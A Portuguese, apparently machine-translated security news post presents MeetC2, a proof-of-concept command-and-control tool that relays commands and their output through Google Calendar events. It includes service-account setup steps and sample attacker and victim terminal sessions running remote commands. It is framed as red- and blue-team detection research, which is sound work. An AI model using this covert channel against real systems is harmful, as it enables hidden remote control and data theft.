Código HTML do Conteúdo
Post: MeetC2 – Uma estrutura C2 sem servidor que aproveita as APIs do Google Agenda como um canal de comunicação
<div>
<div>
<h2>MeetC2 – Uma estrutura C2 sem servidor que aproveita as APIs do Google Agenda como um canal de comunicação</h2>
<h2>O MeetC2 é uma ferramenta PoC C2 que usa o Google Agenda para imitar o abuso da nuvem, ajudando as equipes a testar a detecção, o registro e a resposta.</h2>
<p id="6b54"><strong>Fundo:</strong>Os adversários modernos ocultam cada vez mais o tráfego de comando e controle (C2) dentro dos serviços de nuvem. Criamos essa PoC (prova de conceito) para estudar e demonstrar essas técnicas de maneira controlada, emulando essas táticas para que as equipes vermelhas e azuis possam exercitar a detecção, a telemetria e a resposta a cenários de abuso na nuvem.</p>
<p id="e518"><strong>Hora da história:</strong>Durante um exercício interno da equipe roxa, vimos a facilidade com que o tráfego para domínios SaaS confiáveis diminuiu. Criamos uma PoC leve e multiplataforma que usa o Google Agenda, oferecendo às equipes uma maneira reproduzível de validar detecções, registros e governança de aplicativos de terceiros para C2 de abuso de nuvem em um ambiente controlado.</p>
<p id="23ed"><strong>ConheçaC2:</strong><a href="https://github.com/deriv-security/MeetC2" rel="noreferrer noopener" target="_blank">ConheçaC2</a>é uma estrutura C2 de prova de conceito que usa a API Google Agenda como um canal de comunicação secreto entre as operadoras e um sistema comprometido.</p>
<h2 id="6dae">Visão geral</h2>
<p id="8a07"><a href="https://github.com/deriv-security/MeetC2" rel="noreferrer noopener" target="_blank">ConheçaC2</a>, também conhecido por MeetingC2, é um aplicativo multiplataforma (macOS/Linux) que demonstra como serviços de nuvem legítimos podem ser abusados para operações adversárias. Ao usar as APIs do Google Agenda, a estrutura cria um canal de comunicação oculto que se mistura com o tráfego comercial normal.</p>
<p id="5219">Os domínios utilizados aqui são “<em>oauth2.googleapis.com</em>” & “<em>www.googleapis.com</em>“. Uma vez autenticado, o agente entra em um loop de sondagem, enviando solicitações GET a cada 30 segundos para “<em>www.googleapis.com/calendar/v3/calendars/{calendarId}/eventos</em>” para verificar se há novos eventos de calendário contendo comandos.</p>
<p id="c882">Quando o organizador quiser emitir um novo comando, ele pode<strong>POSTAR</strong>um novo evento para o mesmo endpoint da API Calendar por meio de “<em>Organizador</em>” com o comando incorporado no campo de resumo do evento, como “<em>Reunião de ninguém: [COMMAND]</em>”.</p>
<p id="9c8c">O “<em>hóspede</em>” identifica esses eventos de comando durante sua sondagem regular, que extrai e executa o comando localmente e, em seguida, atualiza o mesmo evento por meio de um<strong>PÔR</strong>solicitação para incluir a saída do comando dentro do<em>[OUTPUT] [/OUTPUT]</em>no campo Descrição.</p>
<h2 id="6913">Configuração do Google Agenda</h2>
<ul>
<li>Navegue até o URL<a href="https://console.cloud.google.com/?hl=en" rel="noreferrer noopener" target="_blank">Console de nuvem do Google</a>, faça login com sua conta do Google. Selecione um projeto ou crie um novo projeto.</li>
<li>Navegue até “APIs e serviços” → clique em “Biblioteca”, na caixa de pesquisa, procure a API do Google Agenda e clique em “ATIVADO”, levará de 20 a 30 segundos para ativá-lo em seu projeto.</li>
<li>Poste isso, navegue até “APIs e serviços” → “Credenciais” e clique em “+ CRIAR CREDENCIAIS” na parte superior. Escolha “Conta de serviço”, preencha os detalhes necessários, ou seja, Nome da conta de serviço: calendar-invite, Descrição: Sincroniza eventos de calendário e continua. Pule a função/usuários opcionais e clique em “CONCLUÍDO”.</li>
<li>Agora verifique suas listas de contas de serviço e você deve ter um e-mail como “<a data-cfemail="0764666b62696366752a6e69716e7362477e6872752a7775686d626473296e666a2960746275716e6462666464687269732964686a" href="https://securityaffairs.com/cdn-cgi/l/email-protection" target="_blank">[emailprotected]</a>”. Vá para a seção “CHAVES” “ADICIONAR CHAVE” → “Criar nova chave”, escolha o formato “JSON” e baixe a “CHAVE”. Renomeie o arquivo JSON baixado para credentials.json para uso posterior.</li>
<li>Navegue até o URL “https://calendar.google.com”, no lado esquerdo, encontre “Outros calendários” → Clique no botão “+” clique em criar novo calendário, preencha o nome/descrição. Poste isso, clique nos 3 pontos ao lado → “Configurações e compartilhamento”. Role para baixo até “Integrar calendário”, verifique “ID do calendário” deve ser semelhante a “<a data-cfemail="e5848786d4d7d69d9c9fa582978a9095cb868489808b818497cb828a8a828980cb868a88" href="https://securityaffairs.com/cdn-cgi/l/email-protection" target="_blank">[emailprotected]</a>”.</li>
<li>Etapas finais, nas configurações do calendário, encontre “Compartilhar com pessoas específicas”, clique em “+ Adicionar pessoas”, adicione o e-mail da conta de serviço da etapa 4 acima (aquela que termina em @your-project.iam.gserviceaccount.com). Altere a permissão para “Fazer alterações nos eventos” e clique em “Enviar” e está tudo pronto.</li>
</ul>
<h2 id="3aab">Linha de comando</h2>
<p id="cf63"><strong><em>Compilar:</em></strong></p>
<blockquote>
<p id="8ac3">./build-all.sh </p>
</blockquote>
<p id="5ce3"><strong><em>Host do invasor:</em></strong></p>
<blockquote>
<p id="4592">bash-3.2$ ./organizador credentials.jsem [NAME]@group.calendar.google.com<br />Organizador MeetC2<br />Comandos:<br />Exec — Execute em todos os hosts<br />@host executivo: — Executar em host específico<br />exec @*: — Executar em todos os hosts (explícito)<br />list — Lista comandos recentes<br />Obter — Obter saída do comando<br />clear — Limpar eventos executados<br />exit — Organizador de saída<br />— — — — — — — — — — — — — — — — — — — —<br />> executivo whoami<br />Comando criado para todos os hosts: qfj4tt8a4uoi8p7cd3b8t31337<br />><br />></p>
</blockquote>
<p id="3196"><strong><em>Anfitrião vítima:</em></strong></p>
<blockquote>
<p id="ebbe">bash-3.2$ ./convidado-darwin-arm64<br />16:08:04 MeetC2 Convidado iniciado em dhirajmishra<br />16:08:04 ID do calendário: [NAME]@group.calendar.google.com<br />16:08:04 Sondagem a cada 10 segundos…<br />16:08:15 Executando o comando: whoami<br />16:08:16 Evento atualizado com êxito com saída</p>
</blockquote>
<p id="a003"><strong>Agradecimentos:</strong>Este projeto foi inspirado no<a href="https://github.com/looCiprian/GC2-sheet" rel="noreferrer noopener" target="_blank">GC2-folha</a>autor<a href="https://github.com/looCiprian" rel="noreferrer noopener" target="_blank">LooCiprian</a>. Por isso, um agradecimento especial a ele.</p>
<p id="ef7b"><strong>OpSec:</strong>Embora isso seja funcional, sei que há melhorias no OpSec especificamente para o “<em>hóspede</em>” binário. Portanto, use um projeto de teste do GCP para essa configuração, que deve ser eliminado posteriormente.</p>
<h3 id="c6e9"><strong>Baixar MeetC2</strong></h3>
<p><a href="https://github.com/deriv-security/MeetC2" target="_blank"><strong>https://github.com/deriv-security/MeetC2</strong></a></p>
<p><strong>Sobre o autor:Pesquisador de segurança Dhiraj Mishra (<a href="https://twitter.com/mishradhiraj_" target="_blank">@mishradhiraj</a>)</strong></p>
<p>Siga-me no Twitter:<a href="https://twitter.com/securityaffairs" target="_blank">@securityaffairs</a>e<a href="https://www.facebook.com/sec.affairs" target="_blank">Linkedin</a>e<a href="https://infosec.exchange/@securityaffairs" target="_blank">Mastodonte</a></p>
<p><a href="http://www.linkedin.com/pub/pierluigi-paganini/b/742/559" target="_blank">PierluigiPaganini</a></p>
<p>(<a href="http://securityaffairs.co/wordpress/" target="_blank">Assuntos de Segurança</a>–hacking,MeetC2)</p>
<hr>
<hr>
</div></div>